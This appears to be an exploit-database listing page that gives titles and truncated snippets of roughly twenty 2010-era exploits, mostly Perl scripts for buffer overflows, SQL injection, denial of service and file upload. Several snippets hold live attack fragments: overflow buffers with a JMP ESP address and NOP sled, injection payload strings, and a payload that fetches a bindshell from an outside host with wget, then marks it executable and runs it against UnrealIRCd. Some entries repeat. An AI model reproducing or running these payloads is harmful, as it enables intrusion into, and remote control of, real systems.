CoolPlayer219_Bin (.m3u) File Buffer Overflow Stack Exploit

Exploit for windows platform in category local exploits =========================================================== CoolPlayer219Bin .m3u File Buffer Overflow Stack Exploit =========================================================== !/usr/bin/perl CoolPlayer219Bin .m3u File WinXP Sp3fr Buffer...

PMSoftware Simple Web Server 2.1 - From: Header Processing Remote Denial of Service

PMSoftware Simple Web Server 2.1 - From: Header Processing Remote Denial of Service source: https://www.securityfocus.com/bid/42155/info PMSoftware Simple Web Server is prone to a denial-of-service vulnerability. Remote attackers can exploit this issue to cause the application to stop responding,...

Imagine-cms 2.50 - SQL Injection

!/usr/bin/perl Script Name : Imagine-cms 2.50 Version : 2.50 Bug Type : SQL Injection Found by : Metropolis Home : http://metropolis.fr.cr Discovered : 21/07/2010 Download app : http://www.imagine-cms.net/modules/ telechargement/index.php?page=affichersouscat&idcat=2 use IO::Socket; if@ARGV != 2...

Invision power board 2.x 3.x 0-day DDOS

Exploit for windows platform in category dos / poc ======================================= Invision power board 2.x 3.x 0-day DDOS ======================================= The largest Exploit Database in the world ! 2.x 3.x are effected Thanks to Inj3ct0r Cr3w Greetz to R0073r Sid3^effects L0rd...

Oxygen2PHP 1.1.3 - 'forumdisplay.php' Blind SQL Injection

!/usr/bin/perl 0-Day Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./forumdisplay.php?fid=-1'+OR+1!=SELECT...

WM Downloader 2.9.2 Stack Buffer Overflow

No description provided by source. !/usr/bin/perl WM Downloader 2.9.2 stack buffer overflow win sp3 By Madjix Dz8athotmaildotcom my $hd = "EXTM3U\n"; my $jnk="http://"."\x41" x 257 ; my $eip = "\x7B\x46\x86\x7C" ; 0x7C86467B jmp esp kernel 32 my $shellcode = "\x90" x 25; $shellcode = $shellcode...

WM Downloader 2.9.2 Stack Buffer Overflow

Exploit for windows platform in category local exploits ========================================= WM Downloader 2.9.2 Stack Buffer Overflow ========================================= !/usr/bin/perl WM Downloader 2.9.2 stack buffer overflow win sp3 By Madjix Dz8athotmaildotcom my $hd = "EXTM3U\n"; ...

WM Downloader 2.9.2 - Local Stack Buffer Overflow

WM Downloader 2.9.2 - Local Stack Buffer Overflow !/usr/bin/perl WM Downloader 2.9.2 stack buffer overflow win sp3 By Madjix Dz8athotmaildotcom my $hd = "EXTM3U\n"; my $jnk="http://"."\x41" x 257 ; my $eip = "\x7B\x46\x86\x7C" ; 0x7C86467B jmp esp kernel 32 my $shellcode = "\x90" x 25; $shellcode...

DMSEasy 0.9.7 - 'FCKeditor' Arbitrary File Upload

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'/FCKeditor/editor/filemanager/upload/php/upload.php', ContentType =...

Unreal IRCD 3.2.8.1 Remote Download / Execute Trojan

!/usr/bin/perl Unreal3.2.8.1 Remote Downloader/Execute Trojan DO NOT DISTRIBUTE -PRIVATE- -iHaq 2l8 use Socket; use IO::Socket; Payload options my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &'; my...

Collabtive 0.6.3 SQL Injection

!/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common qwPOST; use HTTP::Cookies; use Getopt::Long; '/ -.- ------------------oOO------OOo----------------- | | | / / / / | | / / / / / / / / / / / | | // // / / / // / // / // | | ///,// /./,/, // | | Security Research Division // 2o1o |...

UnrealIRCd 3.2.8.1 - Remote Downloader/Execute

!/usr/bin/perl Unreal3.2.8.1 Remote Downloader/Execute Trojan DO NOT DISTRIBUTE -PRIVATE- -iHaq 2l8 use Socket; use IO::Socket; Payload options my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &'; my...

Core FTP mini-sftp-server Several DoS and Directory Traversal Vulnerabilities

Date of Discovery: 7-Jun-2010 Credits: leinakesiatgmail.com Vendor: Core FTP mini-sftp-server http://www.coreftp.com/server/index.html Affected: Core FTP mini-sftp-server version 1.19. Earlier versions may also be affected. Overview: "Core FTP Server" and "Core FTP mini-core sftp server" are both...

Microsoft Paint Integer Overflow Vulnerability (DoS) MS10-005

Exploit for windows platform in category dos / poc ============================================================= Microsoft Paint Integer Overflow Vulnerability DoS MS10-005 ============================================================= Date: 2010-05-04 Version: 5.1.2600.2180 Tested on: Windows XP...

NetSarang Xftp 3.0 PWD响应栈溢出漏洞

BUGTRAQ ID: 39628 Xftp是Windows平台上使用的SFTP、FTP文件传输程序。 如果Xftp客户端受骗连接到了恶意的FTP服务器或打开了特制的.xfp会话文件并发送了超长命令的话，则在处理服务器返回的PWD响应时就可能触发栈溢出，导致执行任意代码。 NetSarang Xftp 3.0 厂商补丁： NetSarang --------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.netsarang.com/ Exploit Title: Xftp client 3.0 PWD Remote...

Invision Power Board 0-day Denial of Service

No description provided by source. ============================================== Invision power board 0-day denial of service 2 ============================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ ...

CompleteFTP v3.3.0 - Remote Memory Consumption DoS

!/usr/bin/perl Title: CompleteFTP v3.3.0 - Remote Memory Consumption DoS Author: Jonathan Salwan [email protected] Web: http://www.shell-storm.org | http://www.sysdream.com Advisories: http://www.sysdream.com/article.php?storyid=331&sectionid=78 60 sec for satured 2Go RAM use IO::Socket; prin...

Template Seller Pro 3.25 SQL Injection

!/usr/bin/perl -w Template Seller Pro 3.25 tempid Remote SQL Injection Vulnerability Author : v3n0m Contact : v3n0m666atlivedotcom Site : http://yogyacarderlink.web.id/ Group : YOGYACARDERLINK Date : April, 23-2010 GMT +7:00 Jakarta, Indonesia Software : AlstraSoft Template Seller Pro Version :...

ZipWrangler 1.20 (.zip) SEH 0day exploit

Exploit for windows platform in category local exploits ======================================== ZipWrangler 1.20 .zip SEH 0day exploit ======================================== !/usr/bin/perl Title: ZipWrangler 1.20 .zip SEH 0day exploit Author: TecR0c & Sud0 Date: April 24th, 2010 Corelan...

Template Seller Pro 3.25 (tempid) Remote SQL Injection Vulnerability

No description provided by source. !/usr/bin/perl -w Template Seller Pro 3.25 tempid Remote SQL Injection Vulnerability Author : v3n0m Contact : v3n0m666atlivedotcom Site : http://yogyacarderlink.web.id/ Group : YOGYACARDERLINK Date : April, 23-2010 GMT +7:00 Jakarta, Indonesia Software :...